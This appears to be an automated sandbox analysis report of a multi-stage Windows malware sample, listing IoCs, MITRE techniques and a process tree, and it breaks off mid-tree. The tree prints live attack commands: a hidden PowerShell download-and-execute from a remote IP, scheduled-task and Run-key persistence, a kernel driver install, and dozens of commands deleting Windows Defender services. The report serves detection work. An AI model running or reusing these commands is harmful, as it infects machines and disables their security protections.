Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	72f3f60b0e.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Passwords.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	173e5fe50e.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tasklist.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dBSGwVB.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	TempD8SCJBJCHX0K0TNUFHJAKMYO4OPJ9GVM.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	extrac32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	4ca06996.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	7baaaf4668.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CMD.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	d0357ec462.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rapes.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	11.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	f73ae_003.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language\InstallLanguage	7baaaf4668.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CMD.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CMD.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BIm18E9.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	7IIl2eE.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	choice.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	TempASRWJMQBEC3HWPWFQS00VQ0Q61MSB0CP.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language	7baaaf4668.exe

Checks processor information in registry 2 TTPs 4 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe

Delays execution with timeout.exe 2 IoCs

defense_evasion

pid	Process
5952	timeout.exe
1804	timeout.exe

Kills process with taskkill 5 IoCs

defense_evasion

pid	Process
5708	taskkill.exe
4732	taskkill.exe
8328	taskkill.exe
4492	taskkill.exe
2108	taskkill.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3342763580-2723508992-2885672917-1000_Classes\Local Settings	firefox.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3224	schtasks.exe
6056	schtasks.exe
4008	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
6096	powershell.exe
6096	powershell.exe
2652	TempASRWJMQBEC3HWPWFQS00VQ0Q61MSB0CP.EXE
2652	TempASRWJMQBEC3HWPWFQS00VQ0Q61MSB0CP.EXE
2980	rapes.exe
2980	rapes.exe
5460	rapes.exe
5460	rapes.exe
5332	MSBuild.exe
5332	MSBuild.exe
5332	MSBuild.exe
5332	MSBuild.exe
4972	powershell.exe
4972	powershell.exe
4972	powershell.exe
3668	TempD8SCJBJCHX0K0TNUFHJAKMYO4OPJ9GVM.EXE
3668	TempD8SCJBJCHX0K0TNUFHJAKMYO4OPJ9GVM.EXE
2108	powershell.exe
2108	powershell.exe
2108	powershell.exe
5548	powershell.exe
5548	powershell.exe
5548	powershell.exe
748	powershell.exe
748	powershell.exe
748	powershell.exe
2628	powershell.exe
2628	powershell.exe
2628	powershell.exe
1784	483d2fa8a0d53818306efeb32d3.exe
1784	483d2fa8a0d53818306efeb32d3.exe
2860	BIm18E9.exe
2860	BIm18E9.exe
5220	powershell.exe
5220	powershell.exe
5220	powershell.exe
4772	Passwords.com
4772	Passwords.com
4772	Passwords.com
4772	Passwords.com
4772	Passwords.com
4772	Passwords.com
5548	rapes.exe
5548	rapes.exe
6520	MSBuild.exe
6520	MSBuild.exe
6520	MSBuild.exe
6520	MSBuild.exe
6608	powershell.exe
6608	powershell.exe
6608	powershell.exe
6920	MSBuild.exe
6920	MSBuild.exe
6920	MSBuild.exe
6920	MSBuild.exe
4772	Passwords.com
4772	Passwords.com
4772	Passwords.com
4772	Passwords.com
4480	72f3f60b0e.exe
4480	72f3f60b0e.exe
4480	72f3f60b0e.exe
4480	72f3f60b0e.exe
4480	72f3f60b0e.exe

Suspicious behavior: LoadsDriver 3 IoCs

pid	Process
660	Process not Found
660	Process not Found
2940	tzutil.exe

Suspicious behavior: MapViewOfSection 3 IoCs

pid	Process
4836	f73ae_003.exe
4836	f73ae_003.exe
4836	f73ae_003.exe

Suspicious use of AdjustPrivilegeToken 17 IoCs

description	pid	Process
Token: SeDebugPrivilege	6096	powershell.exe
Token: SeSecurityPrivilege	5604	bild.exe
Token: SeDebugPrivilege	4972	powershell.exe
Token: SeDebugPrivilege	2108	powershell.exe
Token: SeDebugPrivilege	5548	powershell.exe
Token: SeDebugPrivilege	748	powershell.exe
Token: SeDebugPrivilege	2628	powershell.exe
Token: SeDebugPrivilege	4132	tasklist.exe
Token: SeDebugPrivilege	224	tasklist.exe
Token: SeDebugPrivilege	5220	powershell.exe
Token: SeLoadDriverPrivilege	2940	tzutil.exe
Token: SeDebugPrivilege	6608	powershell.exe
Token: SeDebugPrivilege	4492	taskkill.exe
Token: SeDebugPrivilege	2108	taskkill.exe
Token: SeDebugPrivilege	5708	taskkill.exe
Token: SeDebugPrivilege	4732	taskkill.exe
Token: SeDebugPrivilege	8328	taskkill.exe

Suspicious use of FindShellTrayWindow 29 IoCs

pid	Process
3788	2025-03-26_8c44b645c390b89b4a0d0bcdc9fe036a_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe
3788	2025-03-26_8c44b645c390b89b4a0d0bcdc9fe036a_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe
3788	2025-03-26_8c44b645c390b89b4a0d0bcdc9fe036a_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe
5604	bild.exe
2852	173e5fe50e.exe
2852	173e5fe50e.exe
2852	173e5fe50e.exe
4772	Passwords.com
4772	Passwords.com
4772	Passwords.com
7940	7baaaf4668.exe
7940	7baaaf4668.exe
7940	7baaaf4668.exe
7940	7baaaf4668.exe
7940	7baaaf4668.exe
7940	7baaaf4668.exe
7940	7baaaf4668.exe
7940	7baaaf4668.exe
7940	7baaaf4668.exe
8480	firefox.exe
7940	7baaaf4668.exe
7940	7baaaf4668.exe
8480	firefox.exe
8480	firefox.exe
8480	firefox.exe
8480	firefox.exe
8480	firefox.exe
8480	firefox.exe
8480	firefox.exe

Suspicious use of SendNotifyMessage 24 IoCs

pid	Process
3788	2025-03-26_8c44b645c390b89b4a0d0bcdc9fe036a_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe
3788	2025-03-26_8c44b645c390b89b4a0d0bcdc9fe036a_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe
3788	2025-03-26_8c44b645c390b89b4a0d0bcdc9fe036a_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe
2852	173e5fe50e.exe
2852	173e5fe50e.exe
2852	173e5fe50e.exe
4772	Passwords.com
4772	Passwords.com
4772	Passwords.com
7940	7baaaf4668.exe
7940	7baaaf4668.exe
7940	7baaaf4668.exe
7940	7baaaf4668.exe
7940	7baaaf4668.exe
7940	7baaaf4668.exe
7940	7baaaf4668.exe
7940	7baaaf4668.exe
7940	7baaaf4668.exe
7940	7baaaf4668.exe
7940	7baaaf4668.exe
8480	firefox.exe
8480	firefox.exe
8480	firefox.exe
8480	firefox.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
8480	firefox.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3788 wrote to memory of 1784	3788	2025-03-26_8c44b645c390b89b4a0d0bcdc9fe036a_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe	88
PID 3788 wrote to memory of 1784	3788	2025-03-26_8c44b645c390b89b4a0d0bcdc9fe036a_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe	88
PID 3788 wrote to memory of 1784	3788	2025-03-26_8c44b645c390b89b4a0d0bcdc9fe036a_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe	88
PID 3788 wrote to memory of 5572	3788	2025-03-26_8c44b645c390b89b4a0d0bcdc9fe036a_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe	89
PID 3788 wrote to memory of 5572	3788	2025-03-26_8c44b645c390b89b4a0d0bcdc9fe036a_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe	89
PID 3788 wrote to memory of 5572	3788	2025-03-26_8c44b645c390b89b4a0d0bcdc9fe036a_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe	89
PID 1784 wrote to memory of 6056	1784	cmd.exe	91
PID 1784 wrote to memory of 6056	1784	cmd.exe	91
PID 1784 wrote to memory of 6056	1784	cmd.exe	91
PID 5572 wrote to memory of 6096	5572	mshta.exe	92
PID 5572 wrote to memory of 6096	5572	mshta.exe	92
PID 5572 wrote to memory of 6096	5572	mshta.exe	92
PID 6096 wrote to memory of 2652	6096	powershell.exe	99
PID 6096 wrote to memory of 2652	6096	powershell.exe	99
PID 6096 wrote to memory of 2652	6096	powershell.exe	99
PID 2652 wrote to memory of 2980	2652	TempASRWJMQBEC3HWPWFQS00VQ0Q61MSB0CP.EXE	102
PID 2652 wrote to memory of 2980	2652	TempASRWJMQBEC3HWPWFQS00VQ0Q61MSB0CP.EXE	102
PID 2652 wrote to memory of 2980	2652	TempASRWJMQBEC3HWPWFQS00VQ0Q61MSB0CP.EXE	102
PID 2980 wrote to memory of 2760	2980	rapes.exe	105
PID 2980 wrote to memory of 2760	2980	rapes.exe	105
PID 2980 wrote to memory of 2760	2980	rapes.exe	105
PID 2760 wrote to memory of 5744	2760	apple.exe	106
PID 2760 wrote to memory of 5744	2760	apple.exe	106
PID 2760 wrote to memory of 5744	2760	apple.exe	106
PID 5744 wrote to memory of 1220	5744	11.exe	108
PID 5744 wrote to memory of 1220	5744	11.exe	108
PID 1220 wrote to memory of 4448	1220	cmd.exe	110
PID 1220 wrote to memory of 4448	1220	cmd.exe	110
PID 1220 wrote to memory of 4448	1220	cmd.exe	110
PID 4448 wrote to memory of 5216	4448	11.exe	111
PID 4448 wrote to memory of 5216	4448	11.exe	111
PID 5216 wrote to memory of 544	5216	cmd.exe	113
PID 5216 wrote to memory of 544	5216	cmd.exe	113
PID 5216 wrote to memory of 832	5216	cmd.exe	115
PID 5216 wrote to memory of 832	5216	cmd.exe	115
PID 5216 wrote to memory of 5952	5216	cmd.exe	116
PID 5216 wrote to memory of 5952	5216	cmd.exe	116
PID 5216 wrote to memory of 1360	5216	cmd.exe	117
PID 5216 wrote to memory of 1360	5216	cmd.exe	117
PID 5216 wrote to memory of 2516	5216	cmd.exe	118
PID 5216 wrote to memory of 2516	5216	cmd.exe	118
PID 5216 wrote to memory of 3836	5216	cmd.exe	119
PID 5216 wrote to memory of 3836	5216	cmd.exe	119
PID 5216 wrote to memory of 4324	5216	cmd.exe	120
PID 5216 wrote to memory of 4324	5216	cmd.exe	120
PID 5216 wrote to memory of 1232	5216	cmd.exe	121
PID 5216 wrote to memory of 1232	5216	cmd.exe	121
PID 5216 wrote to memory of 1948	5216	cmd.exe	122
PID 5216 wrote to memory of 1948	5216	cmd.exe	122
PID 5216 wrote to memory of 4112	5216	cmd.exe	123
PID 5216 wrote to memory of 4112	5216	cmd.exe	123
PID 5216 wrote to memory of 5032	5216	cmd.exe	124
PID 5216 wrote to memory of 5032	5216	cmd.exe	124
PID 5216 wrote to memory of 2916	5216	cmd.exe	125
PID 5216 wrote to memory of 2916	5216	cmd.exe	125
PID 5216 wrote to memory of 2956	5216	cmd.exe	126
PID 5216 wrote to memory of 2956	5216	cmd.exe	126
PID 5216 wrote to memory of 2352	5216	cmd.exe	127
PID 5216 wrote to memory of 2352	5216	cmd.exe	127
PID 5216 wrote to memory of 2400	5216	cmd.exe	128
PID 5216 wrote to memory of 2400	5216	cmd.exe	128
PID 5216 wrote to memory of 3480	5216	cmd.exe	129
PID 5216 wrote to memory of 3480	5216	cmd.exe	129
PID 5216 wrote to memory of 5456	5216	cmd.exe	130

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\2025-03-26_8c44b645c390b89b4a0d0bcdc9fe036a_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe
"C:\Users\Admin\AppData\Local\Temp\2025-03-26_8c44b645c390b89b4a0d0bcdc9fe036a_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:3788
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c schtasks /create /tn D4roAma2EQE /tr "mshta C:\Users\Admin\AppData\Local\Temp\Pq7R7jBx7.hta" /sc minute /mo 25 /ru "Admin" /f
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1784
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn D4roAma2EQE /tr "mshta C:\Users\Admin\AppData\Local\Temp\Pq7R7jBx7.hta" /sc minute /mo 25 /ru "Admin" /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:6056
- C:\Windows\SysWOW64\mshta.exe
  mshta C:\Users\Admin\AppData\Local\Temp\Pq7R7jBx7.hta
  2⤵
  - Checks computer location settings
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5572
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'ASRWJMQBEC3HWPWFQS00VQ0Q61MSB0CP.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Downloads MZ/PE file
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:6096
  - - C:\Users\Admin\AppData\Local\TempASRWJMQBEC3HWPWFQS00VQ0Q61MSB0CP.EXE
      "C:\Users\Admin\AppData\Local\TempASRWJMQBEC3HWPWFQS00VQ0Q61MSB0CP.EXE"
      4⤵
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
      Checks BIOS information in registry
      Checks computer location settings
      Executes dropped EXE
      Identifies Wine through registry keys
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Drops file in Windows directory
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:2652
    - - C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
        
        "C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"
        5⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Downloads MZ/PE file
        Checks BIOS information in registry
        Checks computer location settings
        Executes dropped EXE
        Identifies Wine through registry keys
        Adds Run key to start application
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:2980
      - C:\Users\Admin\AppData\Local\Temp\10341360101\apple.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10341360101\apple.exe"
        6⤵
        Checks computer location settings
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2760
        
        C:\Users\Admin\AppData\Local\Temp\11.exe
        
        "C:\Users\Admin\AppData\Local\Temp\11.exe"
        7⤵
        Checks computer location settings
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:5744
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\B630.tmp\B631.tmp\B632.bat C:\Users\Admin\AppData\Local\Temp\11.exe"
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:1220
        
        C:\Users\Admin\AppData\Local\Temp\11.exe
        
        "C:\Users\Admin\AppData\Local\Temp\11.exe" go
        9⤵
        Checks computer location settings
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4448
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\B74A.tmp\B74B.tmp\B74C.bat C:\Users\Admin\AppData\Local\Temp\11.exe go"
        10⤵
        Drops file in Program Files directory
        Suspicious use of WriteProcessMemory
        
        PID:5216
        
        C:\Windows\system32\sc.exe
        
        sc create ddrver type= kernel binPath= "C:\Users\Admin\AppData\Local\Temp\ssisd.sys"
        11⤵
        Launches sc.exe
        
        PID:544
        
        C:\Windows\system32\sc.exe
        
        sc start ddrver
        11⤵
        Launches sc.exe
        
        PID:832
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        11⤵
        Delays execution with timeout.exe
        
        PID:5952
        
        C:\Windows\system32\sc.exe
        
        sc stop ddrver
        11⤵
        Launches sc.exe
        
        PID:1360
        
        C:\Windows\system32\sc.exe
        
        sc start ddrver
        11⤵
        Launches sc.exe
        
        PID:2516
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\ProgramData\Microsoft\Windows Defender" /r /d y
        11⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:3836
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\ProgramData\Microsoft\Windows Defender" /grant administrators:F /t
        11⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:4324
        
        C:\Windows\system32\sc.exe
        
        sc stop "WinDefend"
        11⤵
        Launches sc.exe
        
        PID:1232
        
        C:\Windows\system32\sc.exe
        
        sc delete "WinDefend"
        11⤵
        Launches sc.exe
        
        PID:1948
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\WinDefend" /f
        11⤵
        
        PID:4112
        
        C:\Windows\system32\sc.exe
        
        sc stop "MDCoreSvc"
        11⤵
        Launches sc.exe
        
        PID:5032
        
        C:\Windows\system32\sc.exe
        
        sc delete "MDCoreSvc"
        11⤵
        Launches sc.exe
        
        PID:2916
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\MDCoreSvc" /f
        11⤵
        
        PID:2956
        
        C:\Windows\system32\sc.exe
        
        sc stop "WdNisSvc"
        11⤵
        Launches sc.exe
        
        PID:2352
        
        C:\Windows\system32\sc.exe
        
        sc delete "WdNisSvc"
        11⤵
        Launches sc.exe
        
        PID:2400
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\WdNisSvc" /f
        11⤵
        
        PID:3480
        
        C:\Windows\system32\sc.exe
        
        sc stop "Sense"
        11⤵
        Launches sc.exe
        
        PID:5456
        
        C:\Windows\system32\sc.exe
        
        sc delete "Sense"
        11⤵
        Launches sc.exe
        
        PID:5196
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\Sense" /f
        11⤵
        
        PID:4628
        
        C:\Windows\system32\sc.exe
        
        sc stop "wscsvc"
        11⤵
        Launches sc.exe
        
        PID:4468
        
        C:\Windows\system32\sc.exe
        
        sc delete "wscsvc"
        11⤵
        Launches sc.exe
        
        PID:6064
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\wscsvc" /f
        11⤵
        Modifies security service
        
        PID:212
        
        C:\Windows\system32\sc.exe
        
        sc stop "SgrmBroker"
        11⤵
        Launches sc.exe
        
        PID:1676
        
        C:\Windows\system32\sc.exe
        
        sc delete "SgrmBroker"
        11⤵
        Launches sc.exe
        
        PID:3788
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\SgrmBroker" /f
        11⤵
        
        PID:3720
        
        C:\Windows\system32\sc.exe
        
        sc stop "SecurityHealthService"
        11⤵
        Launches sc.exe
        
        PID:3764
        
        C:\Windows\system32\sc.exe
        
        sc delete "SecurityHealthService"
        11⤵
        Launches sc.exe
        
        PID:4760
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\SecurityHealthService" /f
        11⤵
        
        PID:4392
        
        C:\Windows\system32\sc.exe
        
        sc stop "webthreatdefsvc"
        11⤵
        Launches sc.exe
        
        PID:6056
        
        C:\Windows\system32\sc.exe
        
        sc delete "webthreatdefsvc"
        11⤵
        Launches sc.exe
        
        PID:4752
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\webthreatdefsvc" /f
        11⤵
        
        PID:1784
        
        C:\Windows\system32\sc.exe
        
        sc stop "webthreatdefusersvc"
        11⤵
        Launches sc.exe
        
        PID:2692
        
        C:\Windows\system32\sc.exe
        
        sc delete "webthreatdefusersvc"
        11⤵
        Launches sc.exe
        
        PID:688
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\webthreatdefusersvc" /f
        11⤵
        
        PID:5964
        
        C:\Windows\system32\sc.exe
        
        sc stop "WdNisDrv"
        11⤵
        Launches sc.exe
        
        PID:4132
        
        C:\Windows\system32\sc.exe
        
        sc delete "WdNisDrv"
        11⤵
        Launches sc.exe
        
        PID:1896
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\WdNisDrv" /f
        11⤵
        
        PID:4552
        
        C:\Windows\system32\sc.exe
        
        sc stop "WdBoot"
        11⤵
        Launches sc.exe
        
        PID:2172
        
        C:\Windows\system32\sc.exe
        
        sc delete "WdBoot"
        11⤵
        Launches sc.exe
        
        PID:2380
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\WdBoot" /f
        11⤵
        
        PID:5572
        
        C:\Windows\system32\sc.exe
        
        sc stop "WdFilter"
        11⤵
        Launches sc.exe
        
        PID:224
        
        C:\Windows\system32\sc.exe
        
        sc delete "WdFilter"
        11⤵
        Launches sc.exe
        
        PID:5452
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\WdFilter" /f
        11⤵
        
        PID:3260
        
        C:\Windows\system32\sc.exe
        
        sc stop "SgrmAgent"
        11⤵
        Launches sc.exe
        
        PID:232
        
        C:\Windows\system32\sc.exe
        
        sc delete "SgrmAgent"
        11⤵
        Launches sc.exe
        
        PID:5804
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\SgrmAgent" /f
        11⤵
        
        PID:1692
        
        C:\Windows\system32\sc.exe
        
        sc stop "MsSecWfp"
        11⤵
        Launches sc.exe
        
        PID:3092
        
        C:\Windows\system32\sc.exe
        
        sc delete "MsSecWfp"
        11⤵
        Launches sc.exe
        
        PID:712
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\MsSecWfp" /f
        11⤵
        
        PID:1796
        
        C:\Windows\system32\sc.exe
        
        sc stop "MsSecFlt"
        11⤵
        Launches sc.exe
        
        PID:2788
        
        C:\Windows\system32\sc.exe
        
        sc delete "MsSecFlt"
        11⤵
        Launches sc.exe
        
        PID:1776
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\MsSecFlt" /f
        11⤵
        
        PID:5444
        
        C:\Windows\system32\sc.exe
        
        sc stop "MsSecCore"
        11⤵
        Launches sc.exe
        
        PID:1452
        
        C:\Windows\system32\sc.exe
        
        sc delete "MsSecCore"
        11⤵
        Launches sc.exe
        
        PID:5936
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\MsSecCore" /f
        11⤵
        
        PID:1492
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /f
        11⤵
        
        PID:1016
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /f
        11⤵
        
        PID:2408
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /f
        11⤵
        
        PID:2596
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /f
        11⤵
        
        PID:2540
        
        C:\Windows\system32\sc.exe
        
        sc stop ddrver
        11⤵
        Launches sc.exe
        
        PID:1092
        
        C:\Windows\system32\sc.exe
        
        sc delete ddrver
        11⤵
        Launches sc.exe
        
        PID:5784
      - C:\Users\Admin\AppData\Local\Temp\10341760101\dBSGwVB.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10341760101\dBSGwVB.exe"
        6⤵
        Checks computer location settings
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:5976
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Netstat\netsup.bat" "
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:4720
        
        C:\Windows\SysWOW64\reg.exe
        
        REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Netstat" /t REG_SZ /F /D "C:\Users\Public\Netstat\bild.exe"
        8⤵
        Adds Run key to start application
        System Location Discovery: System Language Discovery
        
        PID:2108
        
        C:\Users\Public\Netstat\bild.exe
        
        C:\Users\Public\Netstat\bild.exe
        8⤵
        Executes dropped EXE
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of FindShellTrayWindow
        
        PID:5604
      - C:\Users\Admin\AppData\Local\Temp\10342330101\kDveTWY.exe
        
